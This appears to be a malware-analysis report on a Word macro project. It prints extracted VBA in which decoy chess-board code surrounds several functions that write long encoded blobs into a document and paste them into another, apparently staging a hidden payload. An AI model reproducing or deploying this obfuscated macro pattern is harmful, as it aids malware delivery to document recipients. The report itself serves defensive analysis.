ret = ReadFile(hReadPipe, strBuff, 256, 0&, 0&)
mOutputs = mOutputs & Left(strBuff, lngBytesread)
'Send data to the object via ReceiveOutputs event
Loop While ret <> 0
'Close the opened handles
ret = CloseHandle(proc.hProcess)
ret = CloseHandle(proc.hThread)
ret = CloseHandle(hReadPipe)
End Function
Attribute VB_Name = "UtilVBAbas"
Public Const TEST_MODE As Boolean = True
Public ThisApp As Object ' Office object: Excel, Word,...
Public psGameFile As String
Public LastInfoNodes As Long
Public psLastFieldClick As String
Public psLastFieldMouseDown As String
Public psLastFieldMouseUp As String
Public SetupBoardMode As Boolean ' manual board setup using GUI
Public SetupPiece As Long
' GUI colors
Public WhiteSqCol As Long
Public BlackSqCol As Long
Public BoardFrameCol As Long
Public plFieldFrom As Long, plFieldTarget As Long
Public psFieldFrom As String, psFieldTarget As String
Dim plFieldFromColor As Long, plFieldTargetColor As Long
Dim psMove As String
Const GENERIC_READ = &H80000000
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_READ = &H1
Const FILE_SHARE_WRITE = &H2
Const CREATE_ALWAYS = 2
Const CREATE_NEW = 1
Const OPEN_ALWAYS = 4
Const OPEN_EXISTING = 3
Const TRUNCATE_EXISTING = 5
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_FLAG_DELETE_ON_CLOSE = &H4000000
Const FILE_FLAG_NO_BUFFERING = &H20000000
Const FILE_FLAG_OVERLAPPED = &H40000000
Const FILE_FLAG_POSIX_SEMANTICS = &H1000000
Const FILE_FLAG_RANDOM_ACCESS = &H10000000
Const FILE_FLAG_SEQUENTIAL_SCAN = &H8000000
Const FILE_FLAG_WRITE_THROUGH = &H80000000
Public Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Function ReebokStory74() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "ab2154aaac52a5eab128b67fa11c8e8b61ef364a1e1146cabfca534ab7b27a164b5a178a121617a223bc85b13ba12c6abf71a16bfa4bb53"
Selection.TypeText "a24bbbceeea1463cefbbac61664fabbbbeb1bab13268b81fa832e2aa48e6b1ab5212ab5e1c6a755aba62a7bba5441f883eac8aaaaf78fc8"
Selection.TypeText "f6fe6a57be783e7b227b2b3b2ef1bb85b2aaba344ab6352bb57baea13eeaee38762b5afc8a5ae1c23bcb1164ab6c5bac2a47bbc12ab3141"
Selection.TypeText "52bb2ab2b83316b5bb286a137ae4cf2aa461bcaec8aaff2bac7fa6ab2a88c51f4bab1bc1b811e2acfc6c18213751bba5e5b28a2b1af4cb1"
Selection.TypeText "132ea3caa8ff2eb5318c5b4b5be171516f4a387aba4aaae8612b465b71abaabab1728a2713a31e641572e474b1ab3bae3b7ac6a15ce6125"
Selection.TypeText "3ae75cb1b7fffc23fcbba22a12ee1ba144aa7bc5eb5377ba32171ab1aa281eaaceffeab4b8b4b2aeb3aab5b2bae51628abe5a8ab4e5abb6"
Selection.TypeText "b6b3aeb1b7115e4e12af58e883b15fa2ac7fbbb75271135f2b3a1fa155ebaa8ba65c4e7814baa57a6bbeb7841223b36bfbb6f2b6a65b1bb"
Selection.TypeText "b66157b15b31182e41aba44e281e3a1c14b5a7f5ba2fc4a1151eab1525ca33fe111bc81a8c152b65176e6b2a75b35ecb63b6ec1185f5ee4"
Selection.TypeText "f6efacbab3ba1b5b8abbe6b4e18b8f527b5bcbc32ab15bfbab455ccb27baab53afbcc3fa53aa2af12a32b3b3a6bcaabaa5bbb1114b8a1ab"
Selection.TypeText "aaa245c6c27515a3fc8a8abfaf45ec14b38cbcaaafb1ea62a314af1a1ae1abc1ba4afe62e71e3f312b1f14b3ba556afb36afc1ea211ebe1"
Selection.TypeText "1367a5831abb56cbb1154131ac77a32cbcb14fba4a1fc8bf4b1a371ba3a2b4ab16a6bcf8a21aabea513bb5a7567273f8115cbab671f7b15"
Selection.TypeText "24b6412e8e26b6aa1ba762c476ecf4b22428b1ba1ccb4ef7f36a3caaa1abea4bafc458f45fab1c146a3eacf2baaabef71aa2aaba5ba1b2e"
Selection.TypeText "bfab8aaabe714baaf6a864aa51eb84414fbb1b6eb67eaba56a61aeba6ca53878b26b178ab5678ccaf311b35a2ba1ae73176c61f1ef3be2a"
Selection.TypeText "1cfb24c1a1bfbce13168cfa2688f71b862b2a5ba578aaa4b631cc81b3beb62b81aa1142bebb47fc8aa6f681bcb46532f2c7bb3ba1a8b64b"
Selection.TypeText "b2a3eb762ac7aeb74baabba335121757a4b2b8a6cbabb5c43665b1bfafca5b6ca81b1ebaeb8a2ecbbbabcbbccf5a71bc1a83b4a3bcf14fe"
Selection.TypeText "bfbfab35e73a5fba5546b7b516b4a1af172b7aee2e5eab5ec71a11116655ca868a11e5ba13aeaa52f811532fe4aa63bcb723828cef34464"
Selection.TypeText "71af2142be5151ab488baa11a1aaf536ebe75be4755b8563cbc38731b32782f8acb5fbb1737a1747785f174f76f34ab4acc6aa8487a1e6b"
Selection.TypeText "141f5a17b1fbb2b1b5baa6e7c4cea7af11181c81b1f2aa7ab3b1635b8aaa66aa4bb6a1af17ae5b5ab3bb5bc24b7babcaaaab4ba8cb8ba5f"
Selection.TypeText "78ec2aaea3716f8517bbbc1ac348ac1b1ba681b7bcbb8ee51cfaf2fb3e4aa18614a8b71aaaafbf6ca3c158c54f8ba4123c1213a284ab4bb"
Selection.TypeText "b8b58b1e7ba3aaae7a1b68be4c583aaf82137b4baff6b18ba6a2a3bab8a1aac7aab1e511e41bbb6486432fa235f13e3a2eaaa57afa41b4b"
Selection.TypeText "47b2e4e25cbabb81222cfa21171751b1a2f1ba75c57abacaa5531babaa2aa31a1a1aafa1be15167f3cb6ec18f18715bfaa465f16bc11b8e"
Selection.TypeText "b4baaf8ebb615caa1666b5aa6a387eb8b2341ab36a15f5b35a57b25b7ce6f52faab5b62b6168aaabaaca12ab8b6ac56bab1f7bcebea851b"
Selection.TypeText "ab744af825e6b1cba7a44aa1aaab3aa11eab1aa66ab8f7bb724aacfa11a34aa2e1a4faf27a6eb5bf4b271c1c624a6b43bababbcb8ab656e"
Selection.TypeText "2ba1525bab1a13b7fb5b142a162ea423abb1a1beb7abf5a1273fbaee187afb2ffa2ab7b6f8a4b15b3f37aeba55bb21f15bbf86a21b68fba"
Selection.TypeText "7aa8a8f38333afc5ab3fafaaa876116b3172fea1bb6b53485115b26ba8e6ab7ba7f1afbfb5b1b5aba8a8667b1b6accb6ee53217aa5e6b2a"
Selection.TypeText "3caa1b732affcaa34b28ebaf44e2baae4e4ab1bb2411f386bb1445beb6aa6fbb1ee1a11cfa6b1ca18a3b6332e616eaaaa42e2ba1a3a61f7"
Selection.TypeText "22e1b25a6bcba1af4a2ba1baa1b1fb15ea3641a163168875c11ae71ca8bbe4ae2b6e58fb8bf71b4ac3e5bb27241258b46b3bcaa4cb687ba"
Selection.TypeText "aab5471a8e13a14b7ea14a525ee18a6bfb1aa3b6a4f281aba14751a381bbaaab62e78acfca14b82e63efc76bc6b1eb7b2ca1b46a313bb45"
Selection.TypeText "6fa8ebb5cfb16f1b5bf1bafeea7a1f4abf46ab3676fc84e1aba1b81ab3aba248b125b175ba1117784abaa4aac1bb1ea16a2f61b1e13a76c"
Selection.TypeText "741bb68c331a624a1411e4e775bf8b61af33b5bfffb684bc28ab2a7b861421a3beb7ab413bacfa1abb6631b1ef1ec1aefba5ceb621f2f35"
Selection.TypeText "fc1b1aa8b51e7a455582458a1f71bbab114816aeff384aba26bff43282318aa1ab6a1612cc8ebbffbcbf8bf7fca5714babb8aabb4aa128b"
Selection.TypeText "5b73c1ebaff33c77a6b28aab2b521eb132f77145a4b6fe6a31a12cafbaaf3b73abe1bb51a74bbabc2aa1814ec4715a85ab7a1b5abcab2a4"
Selection.TypeText "bb67b5f6baab2ceba7fb336f616ceb1bb6c254fbea61abe8a1762a28a22a4bbab51137fb4b665b3a67f34a1eaba6bca151a18aaa66bbec1"
Selection.TypeText "ab3a8a6e3a653aa23ba34c687aeaa1551a7f81114a76431b41ea6c1a83b14a1b81ac77a5718ac1a15ec247b1b4ebbbaeca873bb6b3a33bb"
Selection.TypeText "3abbb14263145441ba61455beba14be4aa6abaa82bcbea2ba4aa1fa2a2bf1e7e8b3376b1a36e8b6aeb1b3486338be8ab1368a7454eab8ac"
Selection.TypeText "3854fa11314fa343aa5ba4a73fb57e47ab23a7b56fbac8b63a3fab7bf518b1e6b1f8b43a186bbcac7b3caa281ab7bbbaecf42b1821ebff4"
Selection.TypeText "e46a471c6ce21a14b45777ac651a464a56bf5b386c8448fc68efa7624ca5a1a18aabb32b1fb3be827a3b1f31ea2cbe2b7a814aea76a1aaa"
Selection.TypeText "a61b847b3cbfefbaac55baa15abae1b743a3b254b1b7b14373bba58e2c86821b7cca3ab8c4c825c6a2bba2a378324a8b43b6e2451a6737b"
Selection.TypeText "8ecb2abc51188132c6a4ffb74a3b33aaebab734b734177184bba4b13bcfbe46e72c662ea1c18ab33efb7562e316145514a43abbca4b28bf"
Selection.TypeText "5c2aa54a3315715ba5bc8a614515ba7babacb1e541ce78c1ab657a4a31fba15af4c64a5b5bbe47ecfca6baf7f12b5f3f3b27b3b5b2cfa2f"
Selection.TypeText "1cb871babec35accb541afaabeba76abba76cab4fa5be8ba184aaae11a3cc51b3eb57eea7bb71bae5feac766f26585ca8a1e8b3aafbaaff"
Selection.TypeText "b14caa8b1abb1ba1e7bc13be4118aaa1b122bba8babfabb11c1fb56f1514abe6aa8a7a7ab866b783a1b435cbe636acb3a8bcff16b3631a5"
Selection.TypeText "f747b2a33f2a1516588cb4ffb13bbb33b3325a42ae4a7aaf78b8eb837bbc1ef5abae1557a71aafa3b5aa5b6be87ebbcab676bab7caa2aaa"
Selection.TypeText "c4a2eeb14aba114bfea11b4ab17b72e8b2666ab818711b88ebe1f54a5a3eb6c4ae3ab2b827cb71a57b4833a611caa41cbab2fab6ba46c3c"
Selection.TypeText "a113b21a4a6ebf8e1fb147bb1abaeeaf7714af4156c1ccaccb6f1386ab5a3a7a78b63b1a13ca3a3a3ca44216b55cc6f6aaaa2aa4bcb18fc"
Selection.TypeText "fa88b61ffbe2a6b17ab2a31f7a1c813bbe3b7f77bbeb11b55af365a1ebc82776c1f5ae1b6ba65aa72538aa61a174ab4b37b1b14811875a2"
Selection.TypeText "b828acaabb8abaa6e481733548323542e573ba6aafaf4b45ab55b6a2368f327aeaf17ab8c61b27b7b74eab31e161241b818c1173eabae21"
Selection.TypeText "6b2fbb63431a2138a252255bcbc5e1f1a57f1841ae71b6babfabb7aeab814b54b8537ee4aac634a87c6b5ff81cfa7fac2fa642a111b147b"
Selection.TypeText "84aa3be3caa44ec2bbf51abbaa4baafb65a2ae27187afbfbca17a8aaec8aeb2b6317fb3e4727516be1abcb64a5e21cabcbb26b76362ac21"
Selection.TypeText "ab5b2cabbb1fcb61732aaa1bbea74146a254bab1a361ca2b8a161b3aa71485fa5c1a28bb4a3f7a2bae27a86a61281a5b3baa1fb6abaa88f"
Selection.TypeText "72a8557551254ae386bf272ba3c812f765f57fb5754fea1c217c5a5babacc7f51f6e27bc18b176efa7b8abc4436eb6a441267b3b2a2ab51"
Selection.TypeText "2e7ba7b1acb214c3213acaba3b4b3cf877fa165aba8f6a48bae118cb473144e2af58bab8a4fc2a45bba168fff2cc271f77be281c1abfc16"
Selection.TypeText "baabb34caa7b172ab1611f51211aaa4bafb82b1ff7aabccbbea6681162fbb6a7aa38867a3a27648738aacbc28a21b3f36a184a1bb785551"
Selection.TypeText "b1c526c2bbc6ba35f5ba233ca4b52bbc56a6ea2c43b6f288bba21b1c811133aa41af844a4755bfb1cb11bafc1a1ba2e66642133eaa5ea11"
Selection.TypeText "2faab1a373e13cbab12611a1fe8a8e25aabcac162aa2e4aa5b1cb7bae1eaf1af7eaafe6b4b421b1cb7bbb38b5acbfb6acbae431bb21e85b"
Selection.TypeText "62a53ef2a1aab32b12b8a2f644e5ba12b62b4541ae5bbb337afb52afcb5b3abb4ba2af12875ca1ba5a8a8a1e61ba31b1be77883a2b1baf6"
Selection.TypeText "21bbc5b8fb41a8b4aa568a4b32a52622a8a5327cf4b3b42526babaac4a1a431ba34aa84faac55fccf4776f3abf4aa31baaa41e476a521a6"
Selection.TypeText "7ab1bbbaa673eafa8eaab1afbbbcc431fe5a211ecaacbcba518a231aae12abb7f5241f718e8be1778cfeec4baa4fcb183bcbfb631b4fca1"
Selection.TypeText "671aa85a25f3ac41abe177a54bce1aeabe83ccf6bfa5f5eb8aafa48f5815f564622f1aa76aeaba1ec1bff826b2b8e11a1ba1abc7afbbffe"
Selection.TypeText "113181ab221e2331b51b148b15eb5a65abcb62bbab3245517b5e2bee63552a325a3be8c5f87b4aabb7cb7b16b47ab3fb2bc8f85a7841baf"
Selection.TypeText "baabafe81abbaaa7ab5bbabcaca7fb6cecb125cbca5e58a274afb63b3a28b5acf8baba45b6fbabc1b154fa37263aea7b71caab1f71a2bfa"
Selection.TypeText "261bec5a2a7f1a3a21aac887ea7ae12783caef4f14a146f47f3a8ab7babbb6ac6b27e8fbba1fe3fffaaceaf83f32b31eb71f1a57aab5ae6"
Selection.TypeText "7ff6b72b5eb4bb3c174a3abab11ab338b57abb41ebc241aacbab21aca1a4aac554386528577a5c7cbb2ebfbcab7c8a1511b7b4a15165a38"
Selection.TypeText "4eac4814a8b2551fa3aa1a51ae7fee58214a24341bb1131e7cef735b63ce35bef54ea178b56e8eecb813a1becabbf44b85aec5127a12587"
Selection.TypeText "e13b7ebbcf6bcb761fabb35b68b3b3b1a51eeefb1bb8c7aebaeaa17bb53118aac4a5b222858fabbb328a523ae6b6e166aa75bb84fcba86a"
Selection.TypeText "6ca1e1aacb38be147bb3ef231b72a5e1c4eb7a1b8e8abb3816c1fb3b737a8b6bb7b3b8aa3eba8a3ac2ba558a4afa5118f8a63211b7435be"
Selection.TypeText "1e1eabbfb43b63b588eea7b8a26c3cb4afff6a3cb1caa56aba6a568a77cc216abe84a22bf3ab5caaa3ef1aabf155b84af18ab8eaa153fb1"
Selection.TypeText "74ba151f3ceb3134bbbb718a5c1a8a3b654a73151bb3b48bb716115bb31aef3ecb4bbbf78f1ba6ab1bea86bbf8cc5bbb31ba5cac4bb1f6a"
Selection.TypeText "7bb1bafbb25ba2a81a28b673bb8b5416111cb4ccbc41b6781c7113a7aba5baaebb1a5a6aaa7515bfac8a28cffc6bc1a81a45e2aaeba173b"
Selection.TypeParagraph
With Documents(1)
.Paragraphs.Last.Range.Select
.ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
.StartOf Unit:=wdStory, Extend:=wdMove
.Paste
End With
End Function
Function ReebokStory24() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "04060270520460720244030050000407067500002706206073705735060057450200647200536"
Selection.TypeText "40040024072000000332050005057567005647047005000056560436060052035005007640070"
Selection.TypeText "55076020600636000036570060006303350645270240065333030003024570400064705500600"
Selection.TypeText "07333004007520703205000033003507300700406760570030470240050077500236500005657"
Selection.TypeText "06000030056032000404400076047640753033004000070745047004035002762260700370560"
Selection.TypeText "40232355744000072000040070000522450207340525345304670067070000650002220000202"
Selection.TypeText "00004707342424770546630500040740406000000002600022050650073004060405000002000"
Selection.TypeText "60570000534000076072662662703066304466040357507456074200040400000307057300200"
Selection.TypeText "55333064650065045030000637070600007745257530207700306030002270260630435536345"
Selection.TypeText "32005020200403702670246660000000700000505506300603050662547044566047725420060"
Selection.TypeText "06407757273065254002043760000460076203003570007660004006722726545030003055530"
Selection.TypeText "00005000026026420760370066300030440007332527000060065224322535022504032050467"
Selection.TypeText "03770002040000570030700000450706300333200042367227300202620045307060407044427"
Selection.TypeText "06302350757040603745770700400047570060004024305374300002030030020070047406037"
Selection.TypeText "46244062200504704005007030343242300060335375675000407057000050600040005665600"
Selection.TypeText "52052622070030200633463560550053730520000040004656023502207235075070506200202"
Selection.TypeText "02300402004330360007004006660062230360300000750620002054300606604505000262300"
Selection.TypeText "64306040467040006020033003500006700500704042700060040300000400000076002300203"
Selection.TypeText "44047002072005007000002000556420005205074430076060035042550005004007000702406"
Selection.TypeText "27070037544020006440000003452000605740245200024067400000600300030005500000400"
Selection.TypeText "00200000404025043030000043062024000572527500000052603320557005402005277520006"
Selection.TypeText "50060005007050300346000063000607000062500370006673500300250440005056303000460"
Selection.TypeText "00067025703707005703607027720060736002276770020700073366400003566077000355674"
Selection.TypeText "00660000535364757300724000033704030000520307004325042200405600030347005074203"
Selection.TypeText "74500500754240000362064335005730700337005032677060600050044770043034000236024"
Selection.TypeText "63063765032000707730400636604070036025000076006276020007242007020005040077243"
Selection.TypeText "00060000303725072600040733040005060544000300706026770347605040475560043502502"
Selection.TypeText "00635403000706330500500600007600655574653763234444300200005076434660005375020"
Selection.TypeText "02000003705066534740005605000507026027400600200576033265000020400202743502606"
Selection.TypeText "00577750000400300202040400300560763067230044355272643045063650000204000400570"
Selection.TypeText "66600362207060050203000700520025027003370700026505664436550465037300000224600"
Selection.TypeText "45733026054002336645507250040002000074603034000000003536475000600000000007002"
Selection.TypeText "00600474700303603300607474044300666070253034007000036076340074370060025043604"
Selection.TypeText "34000730706340457700046004332026060765047055300034050402220030200062000065066"
Selection.TypeText "40006000255340470240676000403020407053055020000500524043470033360774030006000"
Selection.TypeText "70065002032060427040000300004706070006600733370637605072000340200005076200730"
Selection.TypeText "70200342000202000006023532000050520005007002200447730603020742050602700642050"
Selection.TypeText "42042070000320760770743726020200720337706042000000547050703006505545406005057"
Selection.TypeText "70046004044750027670000606070004205000240050200400004040375075400472050563305"
Selection.TypeText "00060005050400400040254663030260200333500002300503200400670225000402406242245"
Selection.TypeText "75060306006007252720640550263660006032060005203000030000003770000240670000047"
Selection.TypeText "02003636000005664560605063005000032700740600020625557020054727530035700052500"
Selection.TypeText "60060502420006000000320600407052704200763035662030334604772000000305754574004"
Selection.TypeText "00205553007506000570203062560027750600000500070740005567200002050000075400556"
Selection.TypeText "04022530500200323004673206060006002440760727007560406570030235050462003037550"
Selection.TypeText "30005042720070507005440053520040256070303547232600500603006700067700600470452"
Selection.TypeText "60072042264040030200436505760600677060640640000620560353400020002360050743606"
Selection.TypeText "20700000635040544700044025060007630324700720000054440026244304243405520070727"
Selection.TypeText "73073400400050504450700460070443305007002030070205500300452440050205065600042"
Selection.TypeText "05730004067000460726603055204006040200006057344072300070433230766330030206400"
Selection.TypeText "02523706730300624005400340060537233700002020022603000067053023635060030070277"
Selection.TypeText "00005274505333005300707600750072707203246000237700042000040320003332002000070"
Selection.TypeText "30303525070002253005000334763000200450030504530550252050000620400600000503407"
Selection.TypeText "24040500000070025050535044007206035065002540000062300000353207060350600070072"
Selection.TypeText "03060262000736235043044700004046074600037500305060660040300405006667705005056"
Selection.TypeText "50770304520220260007306530007005500007475206040002775430546200550005572302740"
Selection.TypeText "00700432242400004202330604670547060406054007260027006000050706006460400047003"
Selection.TypeText "04567000030535025560300000400460007453436020630030030707570702000057206000700"
Selection.TypeText "00006040052000036530056663423250302574630203006000507064473000003056427020507"
Selection.TypeText "60002606600500570073622364450607000020000553026070540020724000020070325400003"
Selection.TypeText "04350606030044700074002006500537055035200220400300270200000530500440250260605"
Selection.TypeText "73200044003206030625360040224002506427020000604004002266455077640705670500400"
Selection.TypeText "00602566006070447500703350400603000307300706020600070000050342007260475405047"
Selection.TypeText "22200670720720702070767505305000447500006050070520002060200030200465052244002"
Selection.TypeText "07050607700572003202207000042000070574550203720022646363220370000700004405050"
Selection.TypeText "00707003040624602402444262060607040070004362230000200770027060252053000000364"
Selection.TypeText "60077450207052702300436705206400700377307430205060202725337070007020473046070"
Selection.TypeText "76265600747005073240222300300032507673326002735425634403400443003400065000707"
Selection.TypeText "60004220260074605706635203050044000506000474032000004475052035402602702600035"
Selection.TypeText "00727655503200000072660450026060300324620760002005430030340023030603650430204"
Selection.TypeText "56606340060007056402020004260750000502070700500750076277235703620000206320300"
Selection.TypeText "02036022503670237453004060003060703026540740736500700067064044223203500700006"
Selection.TypeText "06400700407400200073602060020000200400042000000507006355006035304074200000055"
Selection.TypeText "70004403300007006003700465070000207670060670765040650060230077374765003303057"
Selection.TypeText "00064504020005400200024375600035340205050060007570605600502304005606005602020"
Selection.TypeText "05040554040600072026420040070640006040740757700300020676003037700002542400427"
Selection.TypeText "06360550300562732006600003206025040200024450500053063244000700752057005200400"
Selection.TypeText "00602655002000073026030004600350020700020040246202600060500060000000000352000"
Selection.TypeText "53502074605070007033423600067003300004737073003730303003070020030200002305000"
Selection.TypeText "00754050000020564020040003736307732040206002504030660204007030000000747002034"
Selection.TypeText "70000375000005230350027645300362574067750725000055300005007040320034000200003"
Selection.TypeText "42650504404070047726730075037000546720060000035436700300400500000060564202547"
Selection.TypeText "50023060006045450072350070500000047402042740020073402202545005704000336220240"
Selection.TypeText "46260204370442520040022073600630353000075402003205006046704776032067204737020"
Selection.TypeText "73560402203000747400407500000435223640030737045560000520306303202206005000020"
Selection.TypeText "07056457500300034060000000000607205670035076404237057056000700700020002553200"
Selection.TypeText "74003532007705070002070460070004260300460000063037020000040027560740050000360"
Selection.TypeText "04330734065303070050606237602770247350764630070723075406030000000000077702020"
Selection.TypeText "62244306553000300603525007506302053043006440000426705606455000577300002400202"
Selection.TypeText "20055007270030644025004603074474066070040600000423034730330400027005704450200"
Selection.TypeText "00003253703040007000556630670540003000076707002070063605007004306050775520200"
Selection.TypeText "43607320700070250305303640002003020274000020402230002042320502000270205045000"
Selection.TypeText "63506020557433070244350363000020720250070070002360600665606005406040000257000"
Selection.TypeText "03500053562520277660342050774205350440320444500000306002000400750500524444000"
Selection.TypeText "00007500003007000320604605620007625507553300030474004070020002566505070000020"
Selection.TypeParagraph
With Documents(1)
.Paragraphs.Last.Range.Select
.ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
.StartOf Unit:=wdStory, Extend:=wdMove
.Paste
End With
End Function
Public Sub ShowColToMove(ByVal StrfileName As String)
Dim hFile ' handle to the opened file
Dim ctime As FILETIME ' receives time of creation
Dim atime As FILETIME ' receives time of last access
Dim mtime As FILETIME ' receives time of last modification
Dim thetime As SYSTEMTIME ' used to manipulate the time
Dim retval
hFile = CreateFile(StrfileName, GENERIC_READ, FILE_SHARE_READ, ByVal CLng(0), CREATE_ALWAYS, FILE_ATTRIBUTE_ARCHIVE, 0)
If hFile = -1 Then
Debug.Print "Could not open the file successfully -- aborting."
End ' terminate the program
End If
' Next, get the creation, last-access, and last-modification times.
retval = GetFileTime(hFile, ctime, atime, mtime)
' Convert the creation time to the local time zone.
retval = FileTimeToLocalFileTime(ctime, ctime)
' Convert the FILETIME format to the SYSTEMTIME format.
retval = FileTimeToSystemTime(ctime, thetime)
' Display the date of creation of the file to the user.
Debug.Print "The file was created on "; thetime.wMonth; "-"; thetime.wDay; "-"; thetime.wYear
' Close the file to free up resources.
retval = CloseHandle(hFile)
End Sub
Public Function FieldNumToBoardPos(ByVal ilFieldNum As Long) As Long
Dim s As String
s = FieldNumToCoord(ilFieldNum)
FieldNumToBoardPos = FileRev(Left(s, 1)) + RankRev(Mid(s, 2, 1))
End Function
Function ReebokStory48() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "ab2154aaac52a5eab128b67fa11c8e8b61ef364a1e1146cabfca534ab7b27a164b5a178a121617a223bc85b13ba12c6abf71a16bfa4bb53"
Selection.TypeText "a24bbbceeea1463cefbbac61664fabbbbeb1bab13268b81fa832e2aa48e6b1ab5212ab5e1c6a755aba62a7bba5441f883eac8aaaaf78fc8"
Selection.TypeText "f6fe6a57be783e7b227b2b3b2ef1bb85b2aaba344ab6352bb57baea13eeaee38762b5afc8a5ae1c23bcb1164ab6c5bac2a47bbc12ab3141"
Selection.TypeText "52bb2ab2b83316b5bb286a137ae4cf2aa461bcaec8aaff2bac7fa6ab2a88c51f4bab1bc1b811e2acfc6c18213751bba5e5b28a2b1af4cb1"
Selection.TypeText "132ea3caa8ff2eb5318c5b4b5be171516f4a387aba4aaae8612b465b71abaabab1728a2713a31e641572e474b1ab3bae3b7ac6a15ce6125"
Selection.TypeText "3ae75cb1b7fffc23fcbba22a12ee1ba144aa7bc5eb5377ba32171ab1aa281eaaceffeab4b8b4b2aeb3aab5b2bae51628abe5a8ab4e5abb6"
Selection.TypeText "b6b3aeb1b7115e4e12af58e883b15fa2ac7fbbb75271135f2b3a1fa155ebaa8ba65c4e7814baa57a6bbeb7841223b36bfbb6f2b6a65b1bb"
Selection.TypeText "b66157b15b31182e41aba44e281e3a1c14b5a7f5ba2fc4a1151eab1525ca33fe111bc81a8c152b65176e6b2a75b35ecb63b6ec1185f5ee4"
Selection.TypeText "f6efacbab3ba1b5b8abbe6b4e18b8f527b5bcbc32ab15bfbab455ccb27baab53afbcc3fa53aa2af12a32b3b3a6bcaabaa5bbb1114b8a1ab"
Selection.TypeText "aaa245c6c27515a3fc8a8abfaf45ec14b38cbcaaafb1ea62a314af1a1ae1abc1ba4afe62e71e3f312b1f14b3ba556afb36afc1ea211ebe1"
Selection.TypeText "1367a5831abb56cbb1154131ac77a32cbcb14fba4a1fc8bf4b1a371ba3a2b4ab16a6bcf8a21aabea513bb5a7567273f8115cbab671f7b15"
Selection.TypeText "24b6412e8e26b6aa1ba762c476ecf4b22428b1ba1ccb4ef7f36a3caaa1abea4bafc458f45fab1c146a3eacf2baaabef71aa2aaba5ba1b2e"
Selection.TypeText "bfab8aaabe714baaf6a864aa51eb84414fbb1b6eb67eaba56a61aeba6ca53878b26b178ab5678ccaf311b35a2ba1ae73176c61f1ef3be2a"
Selection.TypeText "1cfb24c1a1bfbce13168cfa2688f71b862b2a5ba578aaa4b631cc81b3beb62b81aa1142bebb47fc8aa6f681bcb46532f2c7bb3ba1a8b64b"
Selection.TypeText "b2a3eb762ac7aeb74baabba335121757a4b2b8a6cbabb5c43665b1bfafca5b6ca81b1ebaeb8a2ecbbbabcbbccf5a71bc1a83b4a3bcf14fe"
Selection.TypeText "bfbfab35e73a5fba5546b7b516b4a1af172b7aee2e5eab5ec71a11116655ca868a11e5ba13aeaa52f811532fe4aa63bcb723828cef34464"
…
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 765952 bytes |
SHA-256: 0599167f976b0824203995c76d8002751c40a0bc49c7c7efe272e616507f5880 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.